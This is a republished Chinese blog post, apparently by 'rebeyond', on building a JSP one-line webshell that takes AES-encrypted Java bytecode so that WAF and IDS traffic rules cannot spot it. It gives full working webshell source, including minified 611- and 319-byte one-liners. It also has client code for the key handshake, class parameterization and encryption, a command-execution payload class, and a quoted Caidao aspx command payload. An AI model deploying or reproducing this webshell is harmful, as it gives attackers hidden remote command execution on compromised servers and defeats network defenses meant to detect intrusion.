【原创】利用动态二进制加密实现新型一句话木马之Java篇 - rebeyond
2019-5-24 09:9:0 Author: www.cnblogs.com(查看原文) 阅读量:5 收藏

概述

本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之.net篇
利用动态二进制加密实现新型一句话木马之php篇
利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍

前言

     一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
     一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。

理论篇

为什么会被拦截

在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?
我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:

Payload如下:

caidao=Response.Write("->|");
var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。

被动的反抗

当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……

釜底抽薪

其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:

  1. 首次连接一句话服务端时,客户端首先向服务器端发起一个GET请求,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中。
  2. 客户端获取密钥后,对本地的二进制payload先进行AES加密,再通过POST方式发送至服务器端。
  3. 服务器收到数据后,从Session中取出秘钥,进行AES解密,解密之后得到二进制payload数据。
  4. 服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回。
  5. 客户端解密服务器端返回的结果。

如下为执行流程图:

实现篇

服务端实现

想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:

1. 服务器端动态解析二进制class文件:

首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:

因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
下面我们写个demo来测试一下:

package net.rebeyond;    
import sun.misc.BASE64Decoder;

public class Demo {
	public static class Myloader extends ClassLoader //继承ClassLoader
	{	
		public  Class get(byte[] b)
		{
			return super.defineClass(b, 0, b.length);
		}		
	}
	public static void main(String[] args) throws Exception {
		// TODO Auto-generated method stub
		String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAcAAABpAAIAAgAAABS4ABASFrYAGFenAAhMK7YAHBIhsAABAAAACQAMAB0AAwAKAAAAEgAEAAAACgAJAAsADQANABEADwALAAAAFgACAAAAFAAMAA0AAAANAAQAIwAkAAEAJQAAAAcAAkwHAB0EAAEAJgAAAAIAJw==";
		BASE64Decoder code=new sun.misc.BASE64Decoder();
		Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
		System.out.println(result.newInstance().toString());
	}
}

上面代码中的classStr变量的值就是如下这个类编译之后的class文件的base64编码:

package net.rebeyond;
import java.io.IOException;

public class Payload {
	@Override
	public String toString() {
		// TODO Auto-generated method stub
		try {
			Runtime.getRuntime().exec("calc.exe");
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		return "OK";
	}
}

简单解释一下上述代码:

  • 首先自定义一个类Myloader,并继承classloader父类,然后自定义一个名为get的方法,该方法接收byte数组类型的参数,然后调用父类的defineClass方法去解析byte数据,并返回解析后的Class。
  • 单独编写一个Payload类,并实现toString方法。因为我们想要我们的服务端尽可能的短小精悍,所以我们定义的Payload类即为默认的Object的子类,没有额外定义其他方法,因此只能借用Object类的几个默认方法,由于我们执行payload之后还要拿到执行结果,所以我们选择可以返回String类型的toString方法。把这个类编译成Payload.class文件。
  • main函数中classStr变量为上述Payload.class文件二进制流的base64编码。
  • 新建一个Myloader的实例,将classStr解码为二进制字节流,并传入Myloader实例的get方法,得到一个Class类型的实例result,此时result即为Payload.class(注意此处的Payload.class不是上文的那个二进制文件,而是Payload这个类的class属性)。
  • 调用result类的默认无参构造器newInstance()生成一个Payload类的实例,然后调用该实例的toString方法,继而执行toString方法中的代码:Runtime.getRuntime().exec("calc.exe");return “OK”
  • 在控制台打印出toString方法的返回值。
    OK,代码解释完了,下面尝试执行Demo类,成功弹出计算器,并打印出“OK”字符串,如下图:

到此,我们就可以直接动态解析并执行编译好的class字节流了。

2.生成密钥:

首先检测请求方式,如果是带了密码字段的GET请求,则随机产生一个128位的密钥,并将密钥写进Session中,然后通过response发送给客户端,代码如下:

if (request.getMethod().equalsIgnoreCase("get")) {
	String k = UUID.randomUUID().toString().replace("-","").substring(0, 16);
	request.getSession().setAttribute("uid", k);
	out.println(k);
	return;
}

这样,后续发送payload的时候只需要发送加密后的二进制流,无需发送密钥即可在服务端解密,这时候waf捕捉到的只是一堆毫无意义的二进制数据流。

3.解密数据,执行:

当客户端请求方式为POST时,服务器先从request中取出加密过的二进制数据(base64格式),代码如下:

Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES"));
new Myloader().get(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().toString();
4.改进一下

前面提到,我们是通过重写Object类的toString方法来作为我们的Payload执行入口,这样的好处是我们可以取到Payload的返回值并输出到页面,但是缺点也很明显:在toString方法内部没办法访问Request、Response、Seesion等servlet相关对象。所以需要找一个带有入参的方法,并且能把Request、Response、Seesion等servlet相关对象传递进去。

重新翻看了一下Object类的方法列表:

可以看到equals方法完美符合我们的要求,有入参,而且入参是Object类,在Java世界中,Object类是所有类的基类,所以我们可以传递任何类型的对象进去。

方法找到了,下面看我们要怎么把servlet的内置对象传进去呢?传谁呢?

JSP有9个内置对象:

但是equals方法只接受一个参数,通过对这9个对象分析发现,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();

另外,如果想要顺利的在equals中调用Request、Response、Seesion这几个对象,还需要考虑一个问题,那就是ClassLoader的问题。JVM是通过ClassLoader+类路径来标识一个类的唯一性的。我们通过调用自定义ClassLoader来defineClass出来的类与Request、Response、Seesion这些类的ClassLoader不是同一个,所以在equals中访问这些类会出现java.lang.ClassNotFoundException异常。

解决方法就是复写ClassLoader的如下构造函数,传递一个指定的ClassLoader实例进去:

5.完整代码:
<%@ page
	import="java.util.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec"%>
<%!
/*
定义ClassLoader的子类Myloader
*/
public static class Myloader extends ClassLoader {
	public Myloader(ClassLoader c) 
	{super(c);}
	public Class get(byte[] b) {  //定义get方法用来将指定的byte[]传给父类的defineClass
		return super.defineClass(b, 0, b.length);
	}
}
%>
<%
	if (request.getParameter("pass")!=null) {  //判断请求方法是不是带密码的握手请求,此处只用参数名作为密码,参数值可以任意指定
		String k = UUID.randomUUID().toString().replace("-", "").substring(0, 16);  //随机生成一个16字节的密钥
		request.getSession().setAttribute("uid", k); //将密钥写入当前会话的Session中
		out.print(k); //将密钥发送给客户端
		return; //执行流返回,握手请求时,只产生密钥,后续的代码不再执行
	}
	/*
	当请求为非握手请求时,执行下面的分支,准备解密数据并执行
	*/
	String uploadString= request.getReader().readLine();//从request中取出客户端传过来的加密payload
	Byte[] encryptedData= new sun.misc.BASE64Decoder().decodeBuffer(uploadString); //把payload进行base64解码
	Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); // 选择AES解密套件
	c.init(Cipher.DECRYPT_MODE,new SecretKeySpec(request.getSession().getAttribute("uid").toString().getBytes(), "AES")); //从Session中取出密钥
	Byte[] classData= c.doFinal(encryptedData);  //AES解密操作
	Object myLoader= new Myloader().get(classData).newInstance(); //通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化
	String result= myLoader.equals(pageContext); //调用payload class的equals方法,我们在准备payload class的时候,将想要执行的目标代码封装到equals方法中即可,将执行结果通过equals中利用response对象返回。
%>

为了增加可读性,我对上述代码做了一些扩充,简化一下就是下面这一行:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

现在网络上流传的菜刀jsp一句话木马要7000多个字节,我们这个全功能版本只有611个字节,当然如果只去掉动态加密而只实现传统一句话木马的功能的话,可以精简成319个字节,如下:

<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null)new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())).newInstance().equals(pageContext);%>

至此,我们的具有动态解密功能的、能解析执行任意二进制流的新型一句话木马就完成了。

客户端实现

1.远程获取加密密钥:

客户端在运行时,首先以GET请求携带密码字段向服务器发起握手请求,获取此次会话的加密密钥和cookie值。加密密钥用来对后续发送的Payload进行AES加密;上文我们说到服务器端随机产生密钥之后会存到当前Session中,同时会以set-cookie的形式给客户端一个SessionID,客户端获取密钥的同时也要获取该cookie值,用来标识客户端身份,服务器端后续可以通过客户端传来的cookie值中的sessionId来从Session中取出该客户端对应的密钥进行解密操作。关键代码如下:

public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
	Map<String, String> result = new HashMap<String, String>();
	StringBuffer sb = new StringBuffer();
	InputStreamReader isr = null;
	BufferedReader br = null;
	URL url = new URL(getUrl);
	URLConnection urlConnection = url.openConnection();

	String cookieValue = urlConnection.getHeaderField("Set-Cookie");
	result.put("cookie", cookieValue);
	isr = new InputStreamReader(urlConnection.getInputStream());
	br = new BufferedReader(isr);
	String line;
	while ((line = br.readLine()) != null) {
		sb.append(line);
	}
	br.close();
	result.put("key", sb.toString());
	return result;
}
2.动态生成class字节数组:

我们只需要把payload的类写好一起打包进客户端jar包,然后通过ASM框架从jar包中以字节流的形式取出class文件即可,如下是一个执行系统命令的payload类的代码示例:

public class Cmd {

public static String cmd;

@Override
public boolean equals(Object obj) {
	// TODO Auto-generated method stub
	PageContext page = (PageContext) obj;
	page.getResponse().setCharacterEncoding("UTF-8");
	Charset osCharset=Charset.forName(System.getProperty("sun.jnu.encoding"));
	try {
		String result = "";
		if (cmd != null && cmd.length() > 0) {
			Process p;
			if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
				p = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmd });
			} else {
				p = Runtime.getRuntime().exec(cmd);
			}
			BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
			String disr = br.readLine();
			while (disr != null) {
				result = result + disr + "\n";
				disr = br.readLine();
			}
			result = new String(result.getBytes(osCharset));
			page.getOut().write(result.trim());
		}
	} catch (Exception e) {
		try {
			page.getOut().write(e.getMessage());
		} catch (IOException e1) {
			// TODO Auto-generated catch block
			e1.printStackTrace();
		}
	}

	return true;
}
3.已编译类的参数化:

上述示例中需要执行的命令是硬编码在class文件中的,因为class是已编译好的文件,我们总不能每执行一条命令就重新编译一次payload。那么怎么样让Payload接收我们的自定义参数呢?直接在Payload中用request.getParameter来取?当然不行,因为为了避免被waf拦截,我们淘汰了request参数传递的方式,我们的request body就是一堆二进制流,没有任何参数。在服务器侧取参数不可行,那就从客户端侧入手,在发送class字节流之前,先对class进行参数化,在不需要重新编译的情况下向class文件中注入我们的自定义参数,这是比较关键的一步。这里我们要使用ASM框架来动态修改class文件中的属性值,关键代码如下:

public static byte[] getParamedClass(String clsName,final Map<String,String> params) throws Exception
{
	byte[] result;
	ClassReader classReader = new ClassReader(clsName);
	final ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
	
	classReader.accept(new ClassAdapter(cw) {

		@Override
		public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
			// TODO Auto-generated method stub
			if (params.containsKey(filedName))
			{
				String paramValue=params.get(filedName);
				return super.visitField(arg0, filedName, arg2, arg3, paramValue);
			}
		
			return super.visitField(arg0, filedName, arg2, arg3, arg4);
		}},0);
	result=cw.toByteArray();
	return result;
}

我们只需要向getParamedClass方法传递payload类名、参数列表即可获得经过参数化的payload class。

4.加密payload:

利用步骤1中获取的密钥对payload进行AES加密,然后进行Base64编码,代码如下:

public static String getData(String key,String className,Map<String,String> params) throws Exception
{
	byte[] bincls=Params.getParamedClass(className, params);
	byte[] encrypedBincls=Decrypt.Encrypt(bincls,key);
	String basedEncryBincls=Base64.getEncoder().encodeToString(encrypedBincls);
	return basedEncryBincls;
}
5.发送payload,接收执行结果并解密:

Payload加密之后,带cookie以POST方式发送至服务器端,并将执行结果取回,如果结果是加密的,则进行AES解密。

案例演示

下面我找了一个测试站点来演示一下绕过防御系统的效果:

首先我上传一个常规的jsp一句话木马:

然后用菜刀客户端连接,如下图,连接直接被防御系统reset了:

然后上传我们的新型一句话木马,并用响应的客户端连接,可以成功连接并管理目标系统:

本篇完。


文章来源: https://www.cnblogs.com/rebeyond/p/10916001.html
如有侵权请联系:admin#unsafe.sh